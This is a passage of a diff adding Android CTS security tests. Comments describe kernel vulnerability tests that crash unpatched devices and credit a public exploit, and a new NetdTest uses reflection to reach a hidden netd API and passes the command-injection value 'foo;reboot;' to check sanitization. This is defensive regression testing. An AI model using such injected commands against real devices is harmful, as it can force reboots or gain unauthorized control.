+ * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c95eb3184ea1a3a2551df57190c81da695e2144b
+ * is applied to the system. Returns true if the patch is applied,
+ * and crashes the system otherwise.
+ *
+ * While you're at it, please also apply the following patch:
+ * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b88a2595b6d8aedbd275c07dfa784657b4f757eb
+ *
+ * Credit: https://github.com/deater/perf_event_tests/blob/master/exploits/arm_perf_exploit.c
+ */
+ private static native boolean doPerfEventTest2();
+
+ /**
+ * ANDROID-11234878
+ *
+ * Returns true if the device is patched against the vroot
+ * vulnerability. Returns false if there was some problem running
+ * the test (for example, out of memory), or the test fails but wasn't
+ * able to crash the device. Most of the time, however, the device will
+ * crash if the vulnerability is present.
+ *
+ * The following patch addresses this bug:
+ * https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/arch/arm/include/asm/uaccess.h?id=8404663f81d212918ff85f493649a7991209fa04
+ */
+ private static native boolean doVrootTest();
}
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
new file mode 100644
index 0000000..1fd0782
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.Binder;
+import android.os.IBinder;
+
+import junit.framework.TestCase;
+
+import java.lang.Class;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+public class NetdTest extends TestCase {
+
+ /**
+ * Detect if netd has unsanitized system call in Throttle API.
+ * Based on jsharkey PoC in b/5758556
+ * serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
+ */
+ public void testThrottleSanitization() {
+ try {
+
+ /* get hidden classes */
+ Class mSMClass = Class.forName("android.os.ServiceManager");
+ Class mINMSClass = Class.forName("android.os.INetworkManagementService");
+ Class<?>[] mDeclaredClasses = mINMSClass.getDeclaredClasses();
+ if (!mDeclaredClasses[0].getName().equals("android.os.INetworkManagementService$Stub")) {
+
+ /* INetworkManagementService fundamentally changed from original vuln */
+ return;
+ }
+
+ /* get methods */
+ Method mSMMethod = mSMClass.getDeclaredMethod("getService", String.class);
+ Method mStubMethod = mDeclaredClasses[0].getDeclaredMethod("asInterface", IBinder.class);
+ Method mINMSMethod = mINMSClass.getDeclaredMethod("setInterfaceThrottle", String.class, int.class, int.class);
+
+ /* invoke methods */
+ IBinder iB = (IBinder) mSMMethod.invoke(null, "network_management");
+ Object INMSObj = mStubMethod.invoke(null, iB);
+ if (INMSObj == null) {
+
+ /* Unable to vulnerable service */
+ return;
+ }
+ mINMSMethod.invoke(mINMSClass.cast(INMSObj), "foo;reboot;", -1, -1);
+ } catch (IllegalAccessException e) {
+
+ /* Java language access prevents exploitation. */
+ return;
+ } catch (InvocationTargetException e) {
+
+ /* Underlying method has been changed. */
+ return;
+ } catch (ClassNotFoundException e) {
+
+ /* not vulnerable if hidden API no longer available */
+ return;
+ } catch (NoSuchMethodException e) {
+
+ /* not vulnerable if hidden API no longer available */
+ return;
+ } catch (SecurityException e) {
+
+ /* Security manager blocked operation. */
+ return;
+ }
+
+ /* should not reach here if vulnerable */
+ }
+}